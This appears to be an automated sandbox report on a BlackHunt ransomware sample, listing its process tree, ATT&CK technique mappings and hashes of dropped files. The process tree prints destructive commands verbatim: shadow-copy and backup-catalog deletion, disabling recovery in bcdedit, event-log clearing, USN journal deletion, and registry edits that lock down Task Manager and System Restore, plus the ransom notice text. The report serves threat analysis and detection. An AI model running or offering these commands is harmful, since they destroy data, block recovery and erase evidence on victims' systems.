- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe" /F
  2⤵
  PID:2836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1692
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:624
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2112
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1924
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2316
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2188
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:336
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:536
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2092
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:684
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:5652
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:5716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:5672
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:5764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:5696
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:5748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:5756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:5772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:5792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:5832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:6128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:5820
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4872
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:5088
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4820
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5860
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5904
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:5952
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:5976
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5932
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:6004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:6020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:5996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:6112
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:6120
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:620
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2448
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\7312c1673bfa8802ac7bde9e3830e346bdcc801b5947222a816bb5f2a820b603.exe"
  2⤵
  - Deletes itself
  PID:208
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2548

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:944

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3024

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:2068

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
5e98a428dba8fb4dfae1cf81e881f90d

SHA1
a31be679c974988ce8c300685038fedb64c95357

SHA256
384ba380e98fb18b7472dfe5cdb4076bc9b5013b1f0e9b3109b402db36f1d1ee

SHA512
844ce4cf433971f02547e1fbe7f734763df780f957e7c83f86ffa352e789f2809c361899665567160663475b02e72aa49095906a2518babe6276b841767e7c1b

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
9aed6cc14564156274284d8849383b7d

SHA1
4d96c2d1a4636a81b4afe47d9d1484fe0ca9d8f6

SHA256
1990deda32cea73d0899911f5b1f06d60cc3ecd7d04764d35a21131232390c78

SHA512
7cce1ced403a145fec4d55499b5363ff4dbffbec7cb923c75ceabdc9cbb8ce11d644eae4040b38ff9475c72df25f13fcd3573dcf381b56f2aeda263c49d3587e

Download Submit
F:\#BlackHunt_Private.key

Filesize
1KB

MD5
6d88dda137fa00475aae79756cd3aa2f

SHA1
035fc0b54f1d0d9c107b3618b639d9b14eda95c1

SHA256
6374e4973cc9c2aec04bf5bb9b57bf84d33de07435319d28c9ace5a4aa3397a2

SHA512
0a95cef0a6f861fdddb21eb758e06f646aff027c402adfcfd10beef7fca2cc2b0eaf98463375662b8b1ece7ac3afc8f836b4c46f90932b5222c7d7928e8a1e2e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads